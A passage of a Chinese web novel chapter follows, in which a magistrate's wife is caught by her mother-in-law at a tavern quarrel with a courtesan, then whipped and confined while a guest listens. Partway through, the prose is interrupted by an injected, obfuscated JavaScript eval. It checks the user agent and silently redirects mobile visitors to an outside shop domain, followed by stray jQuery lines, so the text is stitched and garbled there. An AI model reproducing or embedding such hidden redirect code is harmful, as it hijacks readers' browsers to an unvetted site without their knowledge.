听到回答,顾朝雪开门的动作凝滞了,她不想再与这些舞伎打交道了,上次趁婆母外出她已然破戒,这次婆母临时出去,她若冒然接待云儿,若撞上婆母回家可如何解释?
置婆母三令五申于不顾,实非儿媳该做之事,讲出去她也毫不占理,还要遭人诟病。
她自己也想与从前一刀两断,切割干净。
云儿见娘子听她回话后久久无声,那黑漆板门冷硬无声地紧闭着,娘子的态度她明了了。
云儿咬咬唇道,语气焦急道:“娘子,刚刚烟罗姐不小心撞到老夫人尊驾,此刻两人正在那儿吵架,老夫人哪里吵得过伶牙俐嘴的烟罗姐,我担心她……”
门被打开了,娘子大步迈出门,焦急问:“她们在哪儿?”
云儿瞪大了眼怔愣了一瞬,才急忙答:“就在清妍坊不远的酒楼。”
顾朝雪走出两步,回头见云儿亦步亦跟随着她,嘱咐道:“你去西厢替我照顾客人片刻,我去去就回。”
云儿点点头,嘴唇张了张似乎想说什么,娘子却疾步走了。
算了,娘子那般聪慧定有她自己的用意。
……
待娘子走后,云儿踱步进入,打量着沈宅,当真是富贵人家,装潢精致秀丽,怪不得烟罗姐视娘子为竞争对手,想与她一较高下。
这样精美的住宅,这样俊美前途无量的郎君,谁人能不心动。
唯一的错处就是婆母太不好相与了。
家家有本难念的经,娘子华美的背后也有不堪为人道的苦事。
她一入厢房,就见一俊美摄人的郎君,并不是县丞大人,公子捏着一页信纸看着,唇边浮现一丝阴冷的笑意,看得云儿有些悚然。
男人五感敏锐,见她前来,眸光锐利射向了她。
云儿被这威压激得两股战战,立刻跪了下去,心下相较,从前得见的“大官”也未必有这样的气势。
眼前公子年轻又俊美,不知是如何高贵出身,又当的如何差事,才能涵养出这样的威压与气势。
“刚才什么事找嫂嫂,尽与我说来。”
云儿反应了几秒,意识到对方口中的嫂嫂是指谁,立刻娓娓道来。
她不停歇得一口气讲完后,只听见男人一声冷笑,叫她滚出去。
云儿忙不迭被吓了出去,出去后冷汗直冒。
她总觉得那俊美公子似修罗,下一秒就要打她的板子,送她入刑了。
云儿心想,雪姐姐对不住,不是我不照顾,实在是我待不住了。
云儿也不想违背对顾朝雪的承诺,于是在门外踱步等待,也不知道娘子那里如何?一时间她也心乱如麻。
……
顾朝雪走得匆匆,却记得婆母日常叮嘱,叫她少与人前露面,她便先到车坊租赁了一辆马车,驾车的小哥认得她,她没带钱也先记着账,预备等下去沈家取。
县丞大人清正廉洁,明察秋毫,从不私取百姓一分一毫,车坊也不怕他赖账。
车夫马鞭一挥,马儿嘶鸣后,向着谷城县最繁华富庶的酒楼出发。
顾朝雪到的档口,林氏正和烟罗于酒楼二层的阁房里吵的不可开交,门口围了几个人看戏。
顾朝雪不敢贸然掺入,问了问旁观的人究竟情况如何,才知烟罗不慎看错了阁房,进了婆母预订的房间,还吃了婆母最喜欢的洗手蟹。
顾朝雪眉心微蹙,婆母的脾性她虽不甚了解,但也略知一二,不是这般斤斤计较的人,为何今天发这么大的火。
烟罗怒气上涌,大力拍了拍桌子道:“伎子怎么了,碍你的眼吃你的饭了?我看你是嫉妒我年轻美貌,有青年俊才追捧,自己独守空房寂寞难耐,见不得年轻女子,上嘴就要贬低几分。”
林氏被拍桌声惊得抚了抚胸口,只恨刚刚支走了春兰去打听事情,现在独自一人势单力薄,竟吵不过这牙尖嘴利的伎子。
林氏啐了一口:“说什么青年俊才,不过是些耽于声色,整日流连花街柳巷,荒淫享乐的纨绔罢了,这也叫俊才,真是让人笑掉大牙了。”
烟罗脸色顿时青一阵白一阵的,被人这样讥讽轻视,她索性敞开了火力道:“那县丞大人的妻子也是伎子,你看不起我也就罢了,你也看不起县丞大人?”
顾朝雪听到这话登时白了脸,她的目光落到婆母脸上,林氏脸色铁青,一时被呛住不知如何开口。
林氏气极了,颤抖着手指向一旁伎子:“你,你再说一遍?”
烟罗微微一笑,显出几分妩媚:“老夫人的要求,妾当是满足的,有本事你去那县丞夫人面前嚷嚷着伎子之流,下贱狐媚,那才叫硬气,在我一个弱女子面前逞什么威风呢。”
烟罗话音刚落,眸光一转就瞥到扒拉着门框,脸色发白的顾朝雪,刚出了气的爽快心情顿时僵住了,她怎么在这里?
衣角都湿透了,头发凌乱得粘在颊边,哪有个官夫人的派头。
烟罗还没忘记上次她晕倒之后,那俊美的郎君焦灼的神色,显然是宝贝极了她,还语气严厉地叮嘱她们坊内伶人不可外传,否则……
可眼下,县丞大人的婆母瞧着十分轻视她们这些伶人,平日里定然冷嘲热讽,哪有什么好眼色对她?
瞧她那副窝囊样,要是她,定让这刻薄势利的婆母知道她的厉害,反正倚仗着郎君宠爱,与其被婆母撺掇着让丈夫厌了妻子,不如她先使计让儿子恶了母亲。
见刚才还盛气凌人的伎子盯着门框看了会儿,面色不大自然,林氏也回眸,瞥见了好好答应她在家照顾贵客的“听话”儿媳。
林氏怀疑的目光自两位女子面上逡巡,这两人定然认识!
好啊,合起伙来气她的母亲,指不定私下如何和她这些狐朋狗友一起编排她。
真是个忤逆不孝的儿媳,她现在还是她的婆母!她今日定要趁儿子不在,好好管教她!
林氏无心与烟罗继续争吵,这顿饭也没了心情吃下去,她眉梢一挑嘲讽道:“就当赏了叫花子吧。”
说罢,林氏起身,虎虎生风得拽着儿媳下楼去了。
老妇人态度强硬,生拉硬拽,看得烟罗目瞪口呆,竟然当着外人的面这样对儿媳?
烟罗也顾不得生气,目光追随着那被拉得踉跄的女子,才反应过来这粗鲁傲慢、刻薄古板的老妇人就是县丞的母亲。
怪不得她刚刚拿县丞大人刺她,她反应那么大。
俗话说龙生龙,凤生凤,老鼠怎的生出了个龙?
媳妇被拉得无力抵抗,只能像落花一样随波逐流,烟罗心道,原来男人喜欢这样的女人,柔柔弱弱不胜娇怜的。
可这样的女人,任人揉圆搓扁也没有脾气,遇上强势的婆母,只怕像软柿子样被团团拿捏住了,生死都由人。
也不知她回去要怎样受那婆母的气。
眼见老妇人雷厉风行得拉走了媳妇,烟罗顿时有些心虚,她只安慰自己道,她可没有违背县丞大人的叮嘱,没有透露半分他妻子献舞的消息。
婆母力大无比,一只手像铁钳一样紧紧桎梏着媳妇的大臂,直把她拖拽到马车上,放下了车帘,这才松开了手。
顾朝雪顾不得痛,内心思索着如何开口解释,不知道婆母到底知道了什么?是气愤她还与伶人勾连,还是知晓了她偷跑去登台,气她不顾脸面丢人现眼。
可她又安慰自己道,她没露脸,旁人怎知是她?
顾朝雪嗫嚅道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938604|213797||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“母亲……”
林氏甩过去一计冷眼,顾朝雪顿时缄默不言,手心也泌出了细汗。
林氏端坐着,语气冷硬:“一切只等回去再说,我今日已丢尽了脸面了。”
顾朝雪一路战战兢兢,呼吸都放轻了,等回到家,春兰早已守在门口等人,不苟言笑的表情一如婆母,看得她发怵。
“你先去花厅跪着,自省哪里错了?”
顾朝雪受不了婆母的威压,闻言急匆匆去了。
看着媳妇仓惶的背影,林氏更加笃定她心里有鬼,忙招来婢女春兰问:“你打听得如何?今日那妖艳女子是个什么人?”
春兰道:“是清妍坊的头牌,台柱子,只是一点奇怪,半月前知县宴请贵客,却不是她登台,是位蒙了面的女子,我问起详情,那些伶人只道自己也不知道……”
“云砚在场否?”
春兰点了点头。
不露面的,与头牌相等的舞伎,时间在半月前,她去禅院拜谒恰好不在家,素来对歌舞场敬而远之的儿子前去乐坊。
林氏电光石火间闪过一个猜测,顿时脸都绿了,吩咐春兰道:“你去给我取荆扑来。”
云儿远远听见人回来了,隔着门给里间公子吆喝了一声,幸好无人回应她,春兰松了一口气。
她偷摸着观察,趁无人在意她,速速跑了。
娘子的母亲定然不欢迎她这样的人,她还是早些走,省的给娘子添堵,让娘子对她印象不好。
跪在花厅的顾朝雪有些冷,此前揽扶公子弄湿了衣物,没来的及换,刚刚又出去吹了番冷风,现下又跪在这青黑的方砖上,硌得人膝盖生疼。
顾朝雪有些昏昏欲睡,直到一条藤鞭破风而来,直直打在她的脊背上,打得她猝然惊醒,疼得叫出了声。
顾及到有外人在家,顾朝雪把因疼痛而发出得声音通通咽回了嗓里,只余些低低的啜泣实在掩盖不住。
媳妇隐忍不发,打了一会儿,林氏逐渐失去兴趣,训诫媳妇没什么意思,她只会逆来顺受地哭着。
“春兰,将她关到柴房好好反省。”
说罢,林氏重重将荆扑掼到媳妇面前,斥骂道:“云砚不在,收起你这副可怜兮兮的样子,现在没人会中你的招,好好去给我反省,让你安分守己,你却置若罔闻跑去乐坊那等腌臜地抛头露面,若不是你,我儿又岂会再去那里,你害了他一次不够,还想怎样?!”
见媳妇不辩解,林氏更加笃定自己的猜测,胆大包天,真是胆大包天,诓骗得儿子也同她一起瞒着自己。
“春兰,还不动起来!”
……
药性浓而重,自喝了药,任你钢筋铁骨般的意志也化作柔软不堪的棉花,徐越昏睡了过去。
女子模模糊糊的哭泣声好似远在天边,又似近贴耳畔,扰得他睡梦不得安宁。
徐越睁开眼,回过神后,他意识到这不是梦。
他捏了捏眉心,又怎么了,总不是因为他吧?成天哭不完的日子,不是和她郎君那般恩爱无疑吗?
他见宫中被皇帝冷落的后妃也未必有她爱哭。
徐越掀被,预备去看看情况,那林氏的婢女听见动静,迈步入房施礼道:“公子稍安勿躁,老夫人此刻正在气头上,你此去无异火上浇油,便是阿郎在场,也要等老夫人气消了才敢去看娘子。”
徐越混沌的头脑清明了些,这是臣子之家,又是内宅婆媳私事,他一个外男,如何好去插手?他暂且忍耐下了冲动。
可那女子的泣声似乎印在他脑海里久久不散,让他心生烦躁。
等到夜半时分,沈宅寂寥无人,安静得空洞,徐越持着白日捡来的信,悄然起身去看那妇人。